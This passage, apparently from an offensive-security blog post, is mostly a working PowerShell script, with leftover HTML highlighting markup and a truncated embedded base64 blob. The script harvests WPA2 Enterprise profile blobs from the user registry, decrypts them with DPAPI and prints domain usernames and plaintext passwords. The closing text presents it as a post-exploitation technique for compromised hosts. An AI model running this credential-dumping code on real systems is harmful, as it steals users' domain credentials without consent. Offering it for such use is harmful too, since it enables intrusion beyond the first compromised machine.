AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="</span><span class="o">))</span> | Out-Null

    <span class="nv">$NullReferenceString</span> <span class="o">=</span> <span class="s2">""</span>
    <span class="nv">$ProtectedFiles</span> <span class="o">=</span> @<span class="o">()</span>
    <span class="nv">$ProtectedFiles</span> +<span class="o">=</span> Get-ProtectedData
    <span class="k">if</span><span class="o">(</span><span class="nv">$ProtectedFiles</span>.Length -eq 0<span class="o">)</span>
    <span class="o">{</span>
        <span class="nb">Write-Output</span> <span class="s2">"Error: No DPAPI binary data was retrieved."</span>
        <span class="k">return</span>
    <span class="o">}</span>
    <span class="nb">Write-Verbose</span> <span class="s2">"Harvested </span><span class="k">$(</span><span class="nv">$ProtectedFiles</span>.Length<span class="k">)</span><span class="s2"> files."</span>

    <span class="c1"># https://github.com/ash47/EnterpriseWifiPasswordRecover</span>
    <span class="o">[</span><span class="kt">byte</span><span class="o">[]]</span><span class="nv">$PasswordPattern</span> <span class="o">=</span> @<span class="o">(</span>0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01<span class="o">)</span>
    <span class="o">[</span><span class="kt">byte</span><span class="o">[]]</span><span class="nv">$UsernamePattern</span> <span class="o">=</span> @<span class="o">(</span>0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00<span class="o">)</span>

    <span class="nv">$ProtectedFiles</span> | <span class="k">ForEach</span>-Object <span class="o">{</span>
       
        <span class="c1"># calls DPAPI UnprotectData(byte[] encrypted, byte[] entropy, out string Description)</span>

        <span class="nv">$DecryptedData</span> <span class="o">=</span> <span class="o">[</span>DPAPI]::Decrypt<span class="o">([</span>IO.File]::ReadAllBytes<span class="o">(</span><span class="s2">"C:\windows\temp\</span><span class="nv">$_</span><span class="s2">"</span><span class="o">)</span>, <span class="o">[</span>Text.Encoding]::UTF8.GetBytes<span class="o">([</span><span class="kt">String</span><span class="o">]</span>::Empty<span class="o">)</span>, <span class="o">[</span>ref] <span class="nv">$NullReferenceString</span><span class="o">)</span>

        <span class="nv">$UsernameOffset</span> <span class="o">=</span> <span class="o">[</span>Pattern.Search]::Locate<span class="o">(</span><span class="nv">$DecryptedData</span>, <span class="nv">$UsernamePattern</span><span class="o">)[</span>0]
        <span class="nv">$PasswordOffset</span> <span class="o">=</span> <span class="o">[</span>Pattern.Search]::Locate<span class="o">(</span><span class="nv">$DecryptedData</span>, <span class="nv">$PasswordPattern</span><span class="o">)[</span>0]

        <span class="c1"># Here we will have Username and Domain</span>
        <span class="nv">$DomainAndUsername</span> <span class="o">=</span> <span class="o">[</span>Text.Encoding]::UTF8.GetString<span class="o">(</span><span class="nv">$DecryptedData</span><span class="o">[(</span><span class="nv">$UsernameOffset</span>+8<span class="o">)</span>..<span class="nv">$PasswordOffset</span><span class="o">])</span> | <span class="nb">Out-String</span>
        <span class="nv">$EncryptedPassword</span> <span class="o">=</span> <span class="nv">$DecryptedData</span><span class="o">[</span><span class="nv">$PasswordOffset</span>..<span class="nv">$DecryptedData</span>.Length]
       
        <span class="c1"># Removes last null bytes. (No Padding will be superior to 16 bytes)</span>
        <span class="k">foreach</span><span class="o">(</span><span class="nv">$i</span> <span class="k">in </span>0..16<span class="o">)</span>
        <span class="o">{</span>
            <span class="nv">$EncryptedPassword</span> <span class="o">=</span> Remove-LastNullByte -Array <span class="nv">$EncryptedPassword</span>
        <span class="o">}</span>

        <span class="nv">$DumpFile</span> <span class="o">=</span> <span class="s2">"C:\windows\temp\password.bin"</span>
        <span class="o">[</span>IO.File]::WriteAllBytes<span class="o">(</span><span class="nv">$DumpFile</span>, <span class="nv">$EncryptedPassword</span><span class="o">)</span>

        <span class="c1"># SYSTEM can't decrypt password files on it's own. Now we RevertToSelf() so we are able to decrypt it.</span>
        <span class="nv">$ReversionStatus</span> <span class="o">=</span> <span class="o">[</span>Revert]::RevertBack<span class="o">()</span>;
        <span class="k">if</span><span class="o">(</span><span class="nv">$ReversionStatus</span> -eq <span class="nv">$false</span><span class="o">)</span>
        <span class="o">{</span>
            <span class="nb">Write-Output</span> <span class="s2">"Could not revert back to user."</span>
            <span class="k">return</span>
        <span class="o">}</span>

        <span class="c1"># Last stage, if the line below succeeds, we have a plaintext password.</span>
        <span class="nv">$DecryptedPassword</span> <span class="o">=</span> <span class="o">[</span>Text.Encoding]::UTF8.GetString<span class="o">([</span>DPAPI]::Decrypt<span class="o">([</span>IO.File]::ReadAllBytes<span class="o">(</span><span class="nv">$DumpFile</span><span class="o">)</span>, <span class="o">[</span>Text.Encoding]::UTF8.GetBytes<span class="o">([</span><span class="kt">String</span><span class="o">]</span>::Empty<span class="o">)</span>, <span class="o">[</span>ref] <span class="nv">$NullReferenceString</span><span class="o">))</span>
        <span class="nb">Write-Output</span> <span class="s2">"Username: </span><span class="nv">$DomainAndUsername</span><span class="s2">"</span>
        <span class="nb">Write-Output</span> <span class="s2">"Password: </span><span class="nv">$DecryptedPassword</span><span class="s2">"</span>
       
    <span class="o">}</span>

<span class="o">}</span>


<span class="k">function </span>Remove-LastNullByte
<span class="o">{</span>
    <span class="k">Param</span><span class="o">(</span>
        <span class="o">[</span>Parameter<span class="o">(</span>Mandatory <span class="o">=</span> <span class="nv">$true</span>, Position <span class="o">=</span> 0<span class="o">)]</span>
        <span class="o">[</span><span class="kt">byte</span><span class="o">[]]</span><span class="nv">$Array</span>,

        <span class="o">[</span>Parameter<span class="o">(</span>Mandatory <span class="o">=</span> <span class="nv">$false</span>, Position <span class="o">=</span> 1<span class="o">)]</span>
        <span class="o">[</span><span class="kt">byte</span><span class="o">]</span><span class="nv">$Banned</span>
    <span class="o">)</span>

    <span class="nv">$ArrayLength</span> <span class="o">=</span> <span class="nv">$Array</span>.Length - 1
    <span class="k">if</span><span class="o">(</span><span class="nv">$Array</span><span class="o">[</span><span class="nv">$ArrayLength</span><span class="o">]</span> -eq <span class="nv">$Banned</span><span class="o">)</span>
    <span class="o">{</span>
        <span class="k">return</span> <span class="nv">$Array</span><span class="o">[</span>0..<span class="o">(</span><span class="nv">$ArrayLength</span>-1<span class="o">)]</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="nv">$Array</span>
<span class="o">}</span>

<span class="cm">&lt;#
.SYNOPSIS
This file uses the registry hive HKCU to retrieve binary data
that is protected by DPAPI functions to hide WPA Enterprise
passwords.

#&gt;</span>
<span class="k">function </span>Get-ProtectedData
<span class="o">{</span>
    <span class="o">[</span><span class="na">CmdletBinding</span><span class="o">()]</span>
    <span class="c1"># File Array</span>
    <span class="nv">$Files</span> <span class="o">=</span> @<span class="o">()</span>;

    <span class="c1"># Retrieves data to be used by DPAPI decrypt function</span>
    <span class="nb">Get-ChildItem </span>HKCU:\Software\Microsoft\Wlansvc\UserData\Profiles\ | <span class="k">ForEach</span>-Object <span class="o">{</span>
        <span class="nv">$currentFile</span> <span class="o">=</span> Get-TemporaryFileName
        <span class="nv">$Files</span> +<span class="o">=</span> <span class="nv">$currentFile</span>
        <span class="nb">Write-Verbose</span> <span class="s2">"Created file </span><span class="nv">$currentFile</span><span class="s2">"</span>
        <span class="o">[</span>IO.File]::WriteAllBytes<span class="o">(</span><span class="s2">"C:\windows\temp\</span><span class="nv">$currentFile</span><span class="s2">"</span>, <span class="o">(</span><span class="nb">Get-ItemProperty</span> <span class="nv">$_</span>.PSPath -Name MSMUserData | <span class="nb">Select-Object </span>MSMUserData<span class="o">)</span>.MSMUserData<span class="o">)</span>
    <span class="o">}</span>

    <span class="k">return</span> <span class="nv">$Files</span>
<span class="o">}</span>

<span class="k">function </span>Get-TemporaryFileName
<span class="o">{</span>
    <span class="k">return</span> <span class="o">([</span>IO.Path]::GetRandomFileName<span class="o">())</span>.Split<span class="o">(</span><span class="s2">"."</span><span class="o">)[</span>0] + <span class="s2">".tmp"</span>
<span class="o">}</span>

Execute the above script to do all the work necessary to retrieve all WPA2 Enterprise domain credentials stored in this user session:

Screenshot

This is a very simple technique that might be useful for you on a compromised host where mimikatz only revealed to you a NTLM hash, but not a real plaintext password.

 

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